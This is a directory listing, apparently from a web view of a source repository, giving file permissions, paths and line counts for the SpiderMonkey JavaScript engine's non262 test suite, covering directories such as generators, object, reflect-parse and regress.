-rw-r--r--js/src/tests/non262/extensions/typedarray.js655
-rw-r--r--js/src/tests/non262/extensions/uneval/bug496985.js14
-rw-r--r--js/src/tests/non262/extensions/uneval/bug566661.js8
-rw-r--r--js/src/tests/non262/extensions/uneval/function-bind.js32
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-231518.js99
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-245795.js33
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-254375.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-304897.js22
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-306738.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-311583.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-313803.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-322957.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-328556.js21
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-01.js31
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-02.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-03.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-04.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-05.js31
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-06.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-367629.js45
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-375801.js35
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-380581.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-380933.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-381211.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-381301.js39
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-385393-03.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-385729.js58
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-082.js33
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-101.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-117.js35
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-621814.js15
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-624199.js19
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-90596-002.js264
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-96284-002.js147
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-bug567606.js21
-rw-r--r--js/src/tests/non262/extensions/uneval/strict-function-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/uneval/symbol-uneval.js15
-rw-r--r--js/src/tests/non262/extensions/uneval/toSource-0.js16
-rw-r--r--js/src/tests/non262/extensions/unterminated-literal-error-location.js119
-rw-r--r--js/src/tests/non262/extensions/weakmap.js121
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-1.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-2.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-3.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-script.js22
-rw-r--r--js/src/tests/non262/fields/browser.js0
-rw-r--r--js/src/tests/non262/fields/bug1587574.js14
-rw-r--r--js/src/tests/non262/fields/numeric-fields.js14
-rw-r--r--js/src/tests/non262/fields/scopes.js11
-rw-r--r--js/src/tests/non262/fields/shell.js0
-rw-r--r--js/src/tests/non262/fields/unimplemented.js57
-rw-r--r--js/src/tests/non262/generators/326466-01.js45
-rw-r--r--js/src/tests/non262/generators/browser.js0
-rw-r--r--js/src/tests/non262/generators/construct-newtarget.js79
-rw-r--r--js/src/tests/non262/generators/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/generators/delegating-yield-1.js42
-rw-r--r--js/src/tests/non262/generators/delegating-yield-10.js49
-rw-r--r--js/src/tests/non262/generators/delegating-yield-11.js20
-rw-r--r--js/src/tests/non262/generators/delegating-yield-12.js49
-rw-r--r--js/src/tests/non262/generators/delegating-yield-2.js73
-rw-r--r--js/src/tests/non262/generators/delegating-yield-3.js44
-rw-r--r--js/src/tests/non262/generators/delegating-yield-4.js18
-rw-r--r--js/src/tests/non262/generators/delegating-yield-5.js37
-rw-r--r--js/src/tests/non262/generators/delegating-yield-6.js56
-rw-r--r--js/src/tests/non262/generators/delegating-yield-7.js38
-rw-r--r--js/src/tests/non262/generators/delegating-yield-8.js44
-rw-r--r--js/src/tests/non262/generators/delegating-yield-9.js37
-rw-r--r--js/src/tests/non262/generators/fibonacci-matrix-generator.js62
-rw-r--r--js/src/tests/non262/generators/forbidden-as-consequent.js11
-rw-r--r--js/src/tests/non262/generators/gen-with-call-obj.js36
-rw-r--r--js/src/tests/non262/generators/iteration.js574
-rw-r--r--js/src/tests/non262/generators/iterator-next-non-object.js64
-rw-r--r--js/src/tests/non262/generators/iterator-toString.js41
-rw-r--r--js/src/tests/non262/generators/nested-yield.js44
-rw-r--r--js/src/tests/non262/generators/objects.js49
-rw-r--r--js/src/tests/non262/generators/pi-generator.js57
-rw-r--r--js/src/tests/non262/generators/properties.js111
-rw-r--r--js/src/tests/non262/generators/regress-345855.js90
-rw-r--r--js/src/tests/non262/generators/regress-345879-01.js30
-rw-r--r--js/src/tests/non262/generators/regress-349362.js26
-rw-r--r--js/src/tests/non262/generators/regress-349851.js33
-rw-r--r--js/src/tests/non262/generators/regress-350809.js33
-rw-r--r--js/src/tests/non262/generators/regress-351120.js33
-rw-r--r--js/src/tests/non262/generators/regress-359062.js38
-rw-r--r--js/src/tests/non262/generators/regress-366941.js80
-rw-r--r--js/src/tests/non262/generators/regress-384991.js56
-rw-r--r--js/src/tests/non262/generators/regress-466206.js35
-rw-r--r--js/src/tests/non262/generators/return-finally.js309
-rw-r--r--js/src/tests/non262/generators/runtime.js132
-rw-r--r--js/src/tests/non262/generators/shell.js17
-rw-r--r--js/src/tests/non262/generators/simple-fib.js55
-rw-r--r--js/src/tests/non262/generators/subclass.js33
-rw-r--r--js/src/tests/non262/generators/syntax.js140
-rw-r--r--js/src/tests/non262/generators/yield-error.js32
-rw-r--r--js/src/tests/non262/generators/yield-iterator-close.js58
-rw-r--r--js/src/tests/non262/generators/yield-non-regexp.js16
-rw-r--r--js/src/tests/non262/generators/yield-star-iterator-close.js153
-rw-r--r--js/src/tests/non262/generators/yield-star-iterator-primitive.js31
-rw-r--r--js/src/tests/non262/generators/yield-star-throw-htmldda.js28
-rw-r--r--js/src/tests/non262/get-set/browser.js0
-rw-r--r--js/src/tests/non262/get-set/getset-002.js48
-rw-r--r--js/src/tests/non262/get-set/regress-375976.js28
-rw-r--r--js/src/tests/non262/get-set/shell.js0
-rw-r--r--js/src/tests/non262/global/adding-global-var-nonextensible-error.js36
-rw-r--r--js/src/tests/non262/global/browser.js0
-rw-r--r--js/src/tests/non262/global/bug-320887.js15
-rw-r--r--js/src/tests/non262/global/bug660612.js7
-rw-r--r--js/src/tests/non262/global/cross-global-implicit-this.js84
-rw-r--r--js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js26
-rw-r--r--js/src/tests/non262/global/delete-global-NaN-property.js32
-rw-r--r--js/src/tests/non262/global/direct-eval-but-not.js32
-rw-r--r--js/src/tests/non262/global/eval-01.js38
-rw-r--r--js/src/tests/non262/global/eval-02.js38
-rw-r--r--js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js30
-rw-r--r--js/src/tests/non262/global/eval-inside-with-is-direct.js28
-rw-r--r--js/src/tests/non262/global/eval-native-callback-is-indirect.js32
-rw-r--r--js/src/tests/non262/global/globalThis-enumeration.js5
-rw-r--r--js/src/tests/non262/global/parenthesized-eval-is-direct.js68
-rw-r--r--js/src/tests/non262/global/parseFloat-01.js24
-rw-r--r--js/src/tests/non262/global/parseInt-01.js170
-rw-r--r--js/src/tests/non262/global/parseInt-default-to-decimal.js31
-rw-r--r--js/src/tests/non262/global/shell.js0
-rw-r--r--js/src/tests/non262/iterable/browser.js0
-rw-r--r--js/src/tests/non262/iterable/regress-340526-01.js27
-rw-r--r--js/src/tests/non262/iterable/regress-341815.js83
-rw-r--r--js/src/tests/non262/iterable/regress-341821.js72
-rw-r--r--js/src/tests/non262/iterable/regress-415922.js46
-rw-r--r--js/src/tests/non262/iterable/shell.js0
-rw-r--r--js/src/tests/non262/jit/browser.js0
-rw-r--r--js/src/tests/non262/jit/math-jit-tests.js535
-rw-r--r--js/src/tests/non262/jit/regress-451673.js78
-rw-r--r--js/src/tests/non262/jit/regress-451974-01.js52
-rw-r--r--js/src/tests/non262/jit/regress-451974-02.js60
-rw-r--r--js/src/tests/non262/jit/regress-452498-01.js72
-rw-r--r--js/src/tests/non262/jit/regress-458838.js39
-rw-r--r--js/src/tests/non262/jit/regress-469927.js41
-rw-r--r--js/src/tests/non262/jit/regress-470739.js43
-rw-r--r--js/src/tests/non262/jit/regress-489682.js31
-rw-r--r--js/src/tests/non262/jit/shell.js0
-rw-r--r--js/src/tests/non262/lexical-conventions/browser.js0
-rw-r--r--js/src/tests/non262/lexical-conventions/lexical-001.js146
-rw-r--r--js/src/tests/non262/lexical-conventions/regress-177314.js73
-rw-r--r--js/src/tests/non262/lexical-conventions/regress-469940.js35
-rw-r--r--js/src/tests/non262/lexical-conventions/shell.js0
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js10
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js51
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js26
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js42
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js43
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js14
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js21
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js18
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js7
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js26
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js31
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js78
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js30
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js45
-rw-r--r--js/src/tests/non262/lexical-environment/browser.js0
-rw-r--r--js/src/tests/non262/lexical-environment/bug-1216623.js19
-rw-r--r--js/src/tests/non262/lexical-environment/catch-body.js19
-rw-r--r--js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js88
-rw-r--r--js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js45
-rw-r--r--js/src/tests/non262/lexical-environment/eval-nondefinable-function.js10
-rw-r--r--js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js125
-rw-r--r--js/src/tests/non262/lexical-environment/for-loop.js121
-rw-r--r--js/src/tests/non262/lexical-environment/implicit-this-in-with.js18
-rw-r--r--js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js24
-rw-r--r--js/src/tests/non262/lexical-environment/redeclaring-global-properties.js64
-rw-r--r--js/src/tests/non262/lexical-environment/shell.js0
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-basics.js22
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-closures.js23
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-const.js8
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-delete.js27
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-getters.js41
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-global.js18
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-ignored.js22
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-miss.js7
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js18
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-mutation.js44
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-proto.js39
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-proxy.js46
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-strict.js32
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-tdz.js9
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js10
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js12
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js21
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js114
-rw-r--r--js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js18
-rw-r--r--js/src/tests/non262/lexical/browser.js0
-rw-r--r--js/src/tests/non262/lexical/regress-336376-01.js322
-rw-r--r--js/src/tests/non262/lexical/regress-346642-04.js33
-rw-r--r--js/src/tests/non262/lexical/regress-351515.js94
-rw-r--r--js/src/tests/non262/lexical/shell.js0
-rw-r--r--js/src/tests/non262/literals/numeric/idstart-after-numeric.js15
-rw-r--r--js/src/tests/non262/literals/numeric/shell.js0
-rw-r--r--js/src/tests/non262/literals/shell.js0
-rw-r--r--js/src/tests/non262/misc/browser.js0
-rw-r--r--js/src/tests/non262/misc/bug1126318.js13
-rw-r--r--js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js156
-rw-r--r--js/src/tests/non262/misc/enumerate-undefined.js24
-rw-r--r--js/src/tests/non262/misc/error-undefined-message.js7
-rw-r--r--js/src/tests/non262/misc/explicit-undefined-optional-argument.js34
-rw-r--r--js/src/tests/non262/misc/function-definition-eval.js348
-rw-r--r--js/src/tests/non262/misc/function-definition-evaluate.js344
-rw-r--r--js/src/tests/non262/misc/future-reserved-words.js493
-rw-r--r--js/src/tests/non262/misc/getter-setter-outerize-this.js21
-rw-r--r--js/src/tests/non262/misc/global-numeric-properties.js59
-rw-r--r--js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js51
-rw-r--r--js/src/tests/non262/misc/new-with-non-constructor.js32
-rw-r--r--js/src/tests/non262/misc/redeclare-var-non-writable-property.js24
-rw-r--r--js/src/tests/non262/misc/regexp-functions-with-undefined.js43
-rw-r--r--js/src/tests/non262/misc/regress-bug632003.js63
-rw-r--r--js/src/tests/non262/misc/shell.js0
-rw-r--r--js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js51
-rw-r--r--js/src/tests/non262/misc/unicode-escaped-keyword.js22
-rw-r--r--js/src/tests/non262/misc/unicode-identifier-1d17.js16
-rw-r--r--js/src/tests/non262/misc/unicode-identifier-82f1.js16
-rw-r--r--js/src/tests/non262/misc/unnamed-function.js42
-rw-r--r--js/src/tests/non262/misc/unwrapped-no-such-method.js13
-rw-r--r--js/src/tests/non262/module/await-restricted-nested.js6
-rw-r--r--js/src/tests/non262/module/browser.js0
-rw-r--r--js/src/tests/non262/module/bug1488117-empty.js3
-rw-r--r--js/src/tests/non262/module/bug1488117-import-namespace.js3
-rw-r--r--js/src/tests/non262/module/bug1488117.js14
-rw-r--r--js/src/tests/non262/module/shell.js0
-rw-r--r--js/src/tests/non262/object/15.2.3.12.js46
-rw-r--r--js/src/tests/non262/object/15.2.3.14-01.js92
-rw-r--r--js/src/tests/non262/object/15.2.3.3-01.js285
-rw-r--r--js/src/tests/non262/object/15.2.3.4-01.js30
-rw-r--r--js/src/tests/non262/object/15.2.3.4-02.js52
-rw-r--r--js/src/tests/non262/object/15.2.3.4-03.js55
-rw-r--r--js/src/tests/non262/object/15.2.3.4-04.js31
-rw-r--r--js/src/tests/non262/object/15.2.3.5-01.js60
-rw-r--r--js/src/tests/non262/object/15.2.3.6-define-over-method.js24
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-function-length.js35
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-miscellaneous.js74
-rw-r--r--js/src/tests/non262/object/15.2.3.6-new-definition.js35
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.7-01.js137
-rw-r--r--js/src/tests/non262/object/15.2.3.9.js51
-rw-r--r--js/src/tests/non262/object/accessor-arguments-rest.js24
-rw-r--r--js/src/tests/non262/object/accessor-name.js35
-rw-r--r--js/src/tests/non262/object/accessor-non-constructor.js20
-rw-r--r--js/src/tests/non262/object/add-property-non-extensible.js118
-rw-r--r--js/src/tests/non262/object/assign.js303
-rw-r--r--js/src/tests/non262/object/browser.js7
-rw-r--r--js/src/tests/non262/object/bug-1150906.js13
-rw-r--r--js/src/tests/non262/object/bug-1206700.js10
-rw-r--r--js/src/tests/non262/object/clear-dictionary-accessor-getset.js55
-rw-r--r--js/src/tests/non262/object/defineGetter-defineSetter.js92
-rw-r--r--js/src/tests/non262/object/defineProperties-callable-accessor.js19
-rw-r--r--js/src/tests/non262/object/defineProperties-order.js17
-rw-r--r--js/src/tests/non262/object/defineProperty-proxy.js54
-rw-r--r--js/src/tests/non262/object/defineProperty-setup.js1071
-rw-r--r--js/src/tests/non262/object/destructuring-shorthand-defaults.js127
-rw-r--r--js/src/tests/non262/object/duplProps.js116
-rw-r--r--js/src/tests/non262/object/entries.js94
-rw-r--r--js/src/tests/non262/object/extensibility-01.js103
-rw-r--r--js/src/tests/non262/object/extensibility-02.js42
-rw-r--r--js/src/tests/non262/object/freeze-global-eval-const.js13
-rw-r--r--js/src/tests/non262/object/freeze-proxy.js27
-rw-r--r--js/src/tests/non262/object/freeze.js21
-rw-r--r--js/src/tests/non262/object/gOPD-vs-prototype-accessor.js15
-rw-r--r--js/src/tests/non262/object/getOwnPropertyDescriptor.js35
-rw-r--r--js/src/tests/non262/object/getOwnPropertySymbols-proxy.js28
-rw-r--r--js/src/tests/non262/object/getOwnPropertySymbols.js46
-rw-r--r--js/src/tests/non262/object/getPrototypeOf-array.js32
-rw-r--r--js/src/tests/non262/object/getPrototypeOf.js22
-rw-r--r--js/src/tests/non262/object/getter-name.js10
-rw-r--r--js/src/tests/non262/object/isExtensible.js21
-rw-r--r--js/src/tests/non262/object/isFrozen.js21
-rw-r--r--js/src/tests/non262/object/isPrototypeOf.js86
-rw-r--r--js/src/tests/non262/object/isSealed.js21
-rw-r--r--js/src/tests/non262/object/keys.js23
-rw-r--r--js/src/tests/non262/object/method-non-constructor.js12
-rw-r--r--js/src/tests/non262/object/mutation-prevention-methods.js124
-rw-r--r--js/src/tests/non262/object/object-create-with-primitive-second-arg.js8
-rw-r--r--js/src/tests/non262/object/object-toString-01.js46
-rw-r--r--js/src/tests/non262/object/preventExtensions-idempotent.js30
-rw-r--r--js/src/tests/non262/object/preventExtensions-proxy.js23
-rw-r--r--js/src/tests/non262/object/preventExtensions.js21
-rw-r--r--js/src/tests/non262/object/property-descriptor-order.js17
-rw-r--r--js/src/tests/non262/object/propertyIsEnumerable-proxy.js59
-rw-r--r--js/src/tests/non262/object/propertyIsEnumerable.js199
-rw-r--r--js/src/tests/non262/object/proto-property-change-writability-set.js56
-rw-r--r--js/src/tests/non262/object/regress-137000.js203
-rw-r--r--js/src/tests/non262/object/regress-192105.js146
-rw-r--r--js/src/tests/non262/object/regress-308806-01.js20
-rw-r--r--js/src/tests/non262/object/regress-338709.js74
-rw-r--r--js/src/tests/non262/object/regress-361274.js30
-rw-r--r--js/src/tests/non262/object/regress-382503.js29
-rw-r--r--js/src/tests/non262/object/regress-382532.js33
-rw-r--r--js/src/tests/non262/object/regress-385393-07.js31
-rw-r--r--js/src/tests/non262/object/regress-444787.js101
-rw-r--r--js/src/tests/non262/object/regress-459405.js37
-rw-r--r--js/src/tests/non262/object/regress-465476.js60
-rw-r--r--js/src/tests/non262/object/regress-72773.js60
-rw-r--r--js/src/tests/non262/object/regress-79129-001.js44
-rw-r--r--js/src/tests/non262/object/regress-90596-003.js275
-rw-r--r--js/src/tests/non262/object/seal-proxy.js27
-rw-r--r--js/src/tests/non262/object/seal.js21
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js11
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-cycle.js16
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-same-value.js11
-rw-r--r--js/src/tests/non262/object/shell.js62
-rw-r--r--js/src/tests/non262/object/toLocaleString-01.js13
-rw-r--r--js/src/tests/non262/object/toLocaleString.js102
-rw-r--r--js/src/tests/non262/object/toPrimitive-callers.js57
-rw-r--r--js/src/tests/non262/object/toPrimitive.js101
-rw-r--r--js/src/tests/non262/object/vacuous-accessor-unqualified-name.js26
-rw-r--r--js/src/tests/non262/object/values-entries-indexed.js71
-rw-r--r--js/src/tests/non262/object/values-entries-lazy-props.js93
-rw-r--r--js/src/tests/non262/object/values-entries-typedarray.js53
-rw-r--r--js/src/tests/non262/object/values.js94
-rw-r--r--js/src/tests/non262/operators/11.13.1-001.js115
-rw-r--r--js/src/tests/non262/operators/11.13.1-002.js24
-rw-r--r--js/src/tests/non262/operators/11.4.1-001.js83
-rw-r--r--js/src/tests/non262/operators/11.4.1-002.js36
-rw-r--r--js/src/tests/non262/operators/browser.js0
-rw-r--r--js/src/tests/non262/operators/instanceof-bound-function-recursion.js23
-rw-r--r--js/src/tests/non262/operators/order-01.js72
-rw-r--r--js/src/tests/non262/operators/shell.js0
-rw-r--r--js/src/tests/non262/pipeline/browser.js0
-rw-r--r--js/src/tests/non262/pipeline/eval.js19
-rw-r--r--js/src/tests/non262/pipeline/evaluation-order.js18
-rw-r--r--js/src/tests/non262/pipeline/parse-error.js18
-rw-r--r--js/src/tests/non262/pipeline/precedence.js56
-rw-r--r--js/src/tests/non262/pipeline/receiver.js24
-rw-r--r--js/src/tests/non262/pipeline/reflect-parse.js28
-rw-r--r--js/src/tests/non262/pipeline/shell.js9
-rw-r--r--js/src/tests/non262/pipeline/type-error.js22
-rw-r--r--js/src/tests/non262/reflect-parse/Match.js242
-rw-r--r--js/src/tests/non262/reflect-parse/PatternAsserts.js95
-rw-r--r--js/src/tests/non262/reflect-parse/PatternBuilders.js287
-rw-r--r--js/src/tests/non262/reflect-parse/alternateBuilder.js215
-rw-r--r--js/src/tests/non262/reflect-parse/async.js25
-rw-r--r--js/src/tests/non262/reflect-parse/basicBuilder.js54
-rw-r--r--js/src/tests/non262/reflect-parse/browser.js0
-rw-r--r--js/src/tests/non262/reflect-parse/builderExceptions.js15
-rw-r--r--js/src/tests/non262/reflect-parse/class-fields.js26
-rw-r--r--js/src/tests/non262/reflect-parse/classes.js552
-rw-r--r--js/src/tests/non262/reflect-parse/computedPropNames.js45
-rw-r--r--js/src/tests/non262/reflect-parse/declarations.js97
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js9
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-assignment.js32
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-function-parameters.js45
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js58
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring__proto__.js16
-rw-r--r--js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js11
-rw-r--r--js/src/tests/non262/reflect-parse/expression.js193
-rw-r--r--js/src/tests/non262/reflect-parse/for-loop-destructuring.js47
-rw-r--r--js/src/tests/non262/reflect-parse/generators.js12
-rw-r--r--js/src/tests/non262/reflect-parse/lexicals.js19
-rw-r--r--js/src/tests/non262/reflect-parse/location.js33
-rw-r--r--js/src/tests/non262/reflect-parse/methodDefn.js51
-rw-r--r--js/src/tests/non262/reflect-parse/newTarget.js42
-rw-r--r--js/src/tests/non262/reflect-parse/object-rest.js41
-rw-r--r--js/src/tests/non262/reflect-parse/object-spread.js29
-rw-r--r--js/src/tests/non262/reflect-parse/proxyArgs.js22
-rw-r--r--js/src/tests/non262/reflect-parse/shell.js66
-rw-r--r--js/src/tests/non262/reflect-parse/stackOverflow.js8
-rw-r--r--js/src/tests/non262/reflect-parse/statements.js88
-rw-r--r--js/src/tests/non262/reflect-parse/templateStrings.js42
-rw-r--r--js/src/tests/non262/regress/browser.js0
-rw-r--r--js/src/tests/non262/regress/regress-102725.js61
-rw-r--r--js/src/tests/non262/regress/regress-10278.js45
-rw-r--r--js/src/tests/non262/regress/regress-104077.js470
-rw-r--r--js/src/tests/non262/regress/regress-110286.js119
-rw-r--r--js/src/tests/non262/regress/regress-111557.js10931
-rw-r--r--js/src/tests/non262/regress/regress-114491.js69
-rw-r--r--js/src/tests/non262/regress/regress-114493.js77
-rw-r--r--js/src/tests/non262/regress/regress-116228.js24
-rw-r--r--js/src/tests/non262/regress/regress-118849.js149
-rw-r--r--js/src/tests/non262/regress/regress-131510-001.js40
-rw-r--r--js/src/tests/non262/regress/regress-1383630.js827
-rw-r--r--js/src/tests/non262/regress/regress-139316.js46
-rw-r--r--js/src/tests/non262/regress/regress-140852.js32
-rw-r--r--js/src/tests/non262/regress/regress-140974.js103
-rw-r--r--js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js9
-rw-r--r--js/src/tests/non262/regress/regress-1456512.js21
-rw-r--r--js/src/tests/non262/regress/regress-1456518-workergray.js7
-rw-r--r--js/src/tests/non262/regress/regress-1463421.js31
-rw-r--r--js/src/tests/non262/regress/regress-146596.js121
-rw-r--r--js/src/tests/non262/regress/regress-1466387-worker-grayroot.js28
-rw-r--r--js/src/tests/non262/regress/regress-1476383-calloc-exc.js12
-rw-r--r--js/src/tests/non262/regress/regress-1507322-deep-weakmap.js11
-rw-r--r--js/src/tests/non262/regress/regress-152646.js90
-rw-r--r--js/src/tests/non262/regress/regress-155081-2.js17520
